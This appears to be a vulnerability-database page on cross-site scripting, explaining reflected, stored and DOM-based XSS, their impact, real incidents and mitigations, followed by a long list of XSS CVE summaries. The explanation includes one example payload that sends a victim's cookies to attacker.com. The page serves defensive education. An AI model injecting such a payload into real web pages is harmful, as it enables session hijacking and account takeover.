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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40870)

EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpexpertsio Rocket Maintenance Mode & Coming Soon Page allows Stored XSS.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Rocket Maintenance Mode Coming Soon Page Wpexperts
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CurrencyRate.Today Crypto Converter Widget allows Stored XSS.8.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Crypto Converter Widget
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CurrencyRate.Today Currency Converter Calculator allows Stored XSS.3.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Currency Converter Calculator
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in EnigmaWeb WP Catalogue allows Stored XSS.7.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Wp Catalogue
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bruno "Aesqe" Babic File Gallery allows Reflected XSS.8.5.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS File Gallery
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nima Saberi Aparat allows Stored XSS.7.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Aparat
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Raghu Goriya MyTube PlayList allows Reflected XSS.0.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mytube Playlist
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetBlocks For Elementor allows Reflected XSS.3.8. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Jetblocks For Elementor Elementor +1
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

In WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Whatsup Gold Progress
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

In WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Whatsup Gold Progress
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

In WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Whatsup Gold Progress
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

In WhatsUp Gold versions released before 2023.1, a stored cross-site scripting (XSS) vulnerability has been identified. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Whatsup Gold Progress
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS) in the site management office. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Microsoft Jfinalcms +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jfinalcms Jfinalcms Project
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS) via Label management editing. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jfinalcms Jfinalcms Project
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS) via carousel image editing. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jfinalcms Jfinalcms Project
NVD GitHub
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in FancyThemes Optin Forms - Simple List Building Plugin for WordPress allows Stored XSS.3.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Optin Forms
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Gordon Böhme, Antonio Leutsch Structured Content (JSON-LD) #wpsc allows Stored XSS.5.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Structured Content Wpsc Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J.N.

XSS Wp Photo Album Plus Wppa
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Peter Raschendorfer Smart External Link Click Monitor [Link Log] allows Reflected XSS.0.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Link Log Petersplugins
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Peter Raschendorfer Smart External Link Click Monitor [Link Log] allows Stored XSS.0.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Smart External Link Click Monitor Link Log Petersplugins
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themefic Ultimate Addons for Contact Form 7 allows Stored XSS.2.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ultimate Addons For Contact Form 7 Themefic
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kyle Phillips Nested Pages allows Stored XSS.2.6. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nested Pages Kylephillips
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 10to8 Sign In Scheduling Online Appointment Booking System allows Stored XSS.0.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Sign In Scheduling Online Appointment Booking System
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BrainCert BrainCert - HTML5 Virtual Classroom allows Reflected XSS.30. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Virtual Classroom Api
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in TheInnovs Innovs HR - Complete Human Resource Management System for Your Business allows. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Innovs Hr Theinnovs
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Dell PowerProtect DD , versions prior to 7.13.0.10, LTS 7.7.5.25, LTS 7.10.1.15, 6.2.1.110 contain a DOM-based Cross-Site Scripting vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Information Disclosure Dell +5
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in EyouCMS-V1.6.5-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Public Security. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Eyoucms
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the component /logs/dopost.html in RPCMS v3.5.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Rpcms
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brainstorm Force Spectra - WordPress Gutenberg Blocks allows Stored XSS.7.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Spectra +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Automattic WooPayments - Fully Integrated Solution Built and Supported by Woo allows Stored. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Woopayments Automattic
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PenciDesign Soledad - Multipurpose, Newspaper, Blog & WooCommerce WordPress Theme allows. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Soledad +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spiffy Plugins Spiffy Calendar allows Stored XSS.9.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Spiffy Calendar Spiffyplugins
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jeff Starr Dashboard Widgets Suite allows Stored XSS.4.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dashboard Widget Suite Plugin Planet
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Seraphinite Solutions Seraphinite Accelerator allows Reflected XSS.20.28. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Seraphinite Accelerator S Sols
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WordPlus Better Messages - Live Chat for WordPress, BuddyPress, PeepSo, Ultimate Member,. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Better Messages +1
NVD
EPSS 20% CVSS 7.1
HIGH POC THREAT Act Now

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Aleksandar Urošević Stock Ticker allows Reflected XSS.23.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 20.1%.

XSS Stock Ticker Urosevic
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Livemesh WPBakery Page Builder Addons by Livemesh allows Stored XSS.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Wpbakery Page Builder Addons WPBakery Page Builder
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Alma Alma - Pay in installments or later for WooCommerce allows Stored XSS.1.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Alma
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Averta Shortcodes and extra features for Phlox theme allows Stored XSS.15.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Shortcodes And Extra Features For Phlox Theme Averta
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Twinpictures Annual Archive allows Stored XSS.6.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Annual Archive Twinpictures
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Paul Bearne Author Avatars List/Block allows Stored XSS.1.17. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Author Avatars List Block
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brontobytes Cookie Bar allows Stored XSS.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cookie Bar
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross-site Scripting (XSS) - Reflected in kubeflow/kubeflow. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Kubeflow
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Page Visit Counter Advanced Page Visit Counter - Most Wanted Analytics Plugin for WordPress. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Advanced Page Visit Counter +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected XSS vulnerability was discovered in the Easy Quick Contact module for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Easy Quick Contact Joomboost
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected XSS vulnerability was discovered in the Clicky Analytics Dashboard module for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Clicky Analytics Dashboard
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected XSS vulnerability was discovered in the Joomdoc component for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Joomdoc
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected XSS vulnerability was discovered in the Quickform component for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Quickform
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected XSS vulnerability was discovered in the Proforms Basic component for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Proforms
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected XSS vulnerability was discovered in the Extplorer component for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Extplorer
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected XSS vulnerability was discovered in the LivingWord component for Joomla. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Livingword
NVD
EPSS 49% CVSS 9.6
CRITICAL POC THREAT Act Now

Cross Site Scripting (XSS) vulnerability in DedeBIZ v6.0.3 allows attackers to run arbitrary code via the search feature. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Dedebiz
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Emlog Pro v2.1.14 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component /admin/article.php?active_savedraft. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Emlog
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A Cross Site Scripting (XSS) vulnerability was discovered in Emlog Pro v2.1.14 via the component /admin/store.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Emlog
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Scrypted is a home video integration and automation platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Scrypted
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Scrypted is a home video integration and automation platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Scrypted
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in CodeAstro POS and Inventory Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pos And Inventory Management System Codeastro
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in CodeAstro POS and Inventory Management System 1.0 and classified as problematic. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pos And Inventory Management System Codeastro
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Arduino Create Agent allows users to use the Arduino Create applications to upload code to any USB connected Arduino board directly from the browser. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Create Agent Arduino
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A DOM-Based cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a remote attacker to execute a JavaScript payload in the context of an administrator’s browser when. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Paloalto Pan Os +1
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software enables a malicious authenticated read-write administrator to store a JavaScript payload using the web interface. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Paloalto Pan Os +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in SourceCodester Wedding Guest e-Book 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Wedding Guest E Book +1
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Silverpeas Core 6.3.1 is vulnerable to Cross Site Scripting (XSS) via the message/notification feature. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Silverpeas
NVD GitHub VulDB
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in Alkacon Software Open CMS, affecting versions 14 and 15 of the 'Mercury' template. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Opencms Alkacon
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

An XSS vulnerability stored in Repox has been identified, which allows a local attacker to store a specially crafted JavaScript payload on the server, due to the lack of proper sanitisation of field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Repox Europeana
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An XSS vulnerability has been detected in Repox, which allows an attacker to compromise interactions between a user and the vulnerable application, and can be exploited by a third party by sending a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Repox Europeana
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

An improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.2, FortiSandbox 4.2 all versions, FortiSandbox 4.0 all. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fortinet Fortisandbox
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.2, FortiSandbox 4.2 all versions, FortiSandbox 4.0 all. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fortinet Fortisandbox
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An issue was discovered on Relyum RELY-PCIe 22.2.1 and RELY-REC 23.1.0 devices. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Rely Pcie Firmware Rely Rec Firmware +1
NVD
EPSS 2% CVSS 5.4
MEDIUM POC This Month

A flaw was found in the mod_proxy_cluster in the Apache server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Apache Red Hat +2
NVD VulDB Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Umbraco is an ASP.NET content management system (CMS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Umbraco Cms Umbraco
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Umbraco is an ASP.NET content management system (CMS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Umbraco Cms Umbraco
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Dynamics 365
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Umbraco is an ASP.NET content management system (CMS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Umbraco Cms Umbraco
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The fluid_components (aka Fluid Components) extension before 3.5.0 for TYPO3 allows XSS via a component argument parameter, for certain {content} use cases that may be edge cases. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Fluid Components
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability has been identified in Opcenter Execution Foundation (All versions < V2407), Opcenter Quality (All versions < V2312), SIMATIC PCS neo (All versions < V4.1), SINEC NMS (All versions <. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Siemens Totally Integrated Automation Portal +3
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

In Red Hat Advanced Cluster Security (RHACS), it was found that some security related HTTP headers were missing, allowing an attacker to exploit this with a clickjacking attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Red Hat Advanced Cluster Security
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

SAS application is vulnerable to Reflected Cross-Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Integration Technologies Sas
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting (XSS) in Voltronic Power SNMP Web Pro v.1.1 allows an attacker to execute arbitrary code via a crafted script within a request to the webserver. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Snmp Web Pro +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Archer Platform 6.x before 6.13 P2 (6.13.0.2) contains an authenticated HTML content injection vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Archer Archerirm
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The SAP HCM (SMART PAYE solution) - versions S4HCMCIE 100, SAP_HRCIE 600, SAP_HRCIE 604, SAP_HRCIE 608, does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Human Capital Management
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An unauthenticated attacker can embed a hidden access to a Biller Direct URL in a frame which, when loaded by the user, will submit a cross-site scripting request to the Biller Direct system. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS SAP Biller Direct
NVD
EPSS 1% CVSS 7.6
HIGH This Week

SAP Business Objects Business Intelligence Platform is vulnerable to stored XSS allowing an attacker to upload agnostic documents in the system which when opened by any other user could lead to high. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Business Objects Business Intelligence Platform
NVD
EPSS 1% CVSS 6.8
MEDIUM This Month

SAP Business Objects Web Intelligence - version 420, allows an authenticated attacker to inject JavaScript code into Web Intelligence documents which is then executed in the victim’s browser each. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Web Intelligence
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The LinkedCustomFields plugin for MantisBT allows users to link values between two custom fields, creating linked drop-downs. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mantisbt Linked Custom Fields
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

